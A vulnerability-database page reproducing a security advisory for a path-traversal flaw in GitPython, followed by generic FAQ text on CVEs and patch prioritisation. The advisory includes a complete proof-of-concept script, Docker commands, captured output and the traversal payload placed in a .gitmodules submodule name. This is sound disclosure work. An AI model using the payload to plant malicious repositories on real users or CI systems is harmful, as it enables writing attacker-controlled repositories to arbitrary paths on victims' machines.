How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

374,975

Total vulnerabilities in the database

GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython — GitPython

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.

Details

src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.

PoC

Environment: Docker image built FROM python:3.11-slim, with git installed via apt-get install -y git (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git 2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via pip install /src/GitPython from this repository's own source, which the advisory states resolved to the officially released GitPython==3.1.57 and gitdb==4.0.12.
Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (repo.submodules + sm.update(init=True), equivalent to git submodule update --init).
Commands run (quoted verbatim from the advisory's "Confirmed test run" section):

$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc

(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.) 4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:

&quot;&quot;&quot;GHSA-001 PoC: GitPython side.

Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
&quot;&quot;&quot;
import os
import shutil

import git

CLONE_DIR = &#039;/work/victim_clone/repo&#039;
ESCAPE_TARGET = &#039;/tmp/gitpython_poc_escaped_root&#039;


def main():
    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)

    print(f&#039;GitPython version: {git.__version__}&#039;)
    repo = git.Repo.clone_from(&#039;/work/attacker_repo&#039;, CLONE_DIR)
    print(&#039;Cloned into:&#039;, repo.working_tree_dir)

    sms = list(repo.submodules)
    for sm in sms:
        print(&#039;  submodule name:&#039;, repr(sm.name))
        print(&#039;  submodule path:&#039;, repr(sm.path))

    print(&#039;escape_target exists before update:&#039;, os.path.exists(ESCAPE_TARGET))

    for sm in sms:
        try:
            sm.update(init=True)
        except Exception as e:
            print(&#039;sm.update raised:&#039;, repr(e))

    exists = os.path.exists(ESCAPE_TARGET)
    print(&#039;escape_target exists after update:&#039;, exists)
    if exists:
        print(&#039;escape_target contents:&#039;, os.listdir(ESCAPE_TARGET))

    print(&#039;POC_RESULT=VULNERABLE&#039; if exists else &#039;POC_RESULT=SAFE&#039;)


if __name__ == &#039;__main__&#039;:
    main()

Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):

=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
  submodule name: &#039;../../../../../../tmp/gitpython_poc_escaped_root/modules_dir&#039;
  submodule path: &#039;legit_dir&#039;
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: [&#039;modules_dir&#039;]
POC_RESULT=VULNERABLE

=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path &#039;legit_dir&#039; in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)

Payload: the attacker rewrites the .gitmodules section header from [submodule "legit_dir"] to [submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"] (built by build_attacker_repo.sh, part of the harness in GHSA/testing/). The malicious part is the ../../../../../../ traversal sequence embedded in the submodule name (not the tree-validated path), which becomes the on-disk target for the submodule's separate git directory.
Expected vs. observed: A safe implementation (as demonstrated by the real git CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at /tmp/gitpython_poc_escaped_root/modules_dir, confirmed by escape_target exists after update: True and its listed contents.
Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) url.

Impact

Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.

Published: Aug 7, 2026
Updated: Aug 8, 2026
GHSA: GHSA-hmq2-w58f-27jc
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.2
AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
GitPython	-	3.1.58

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.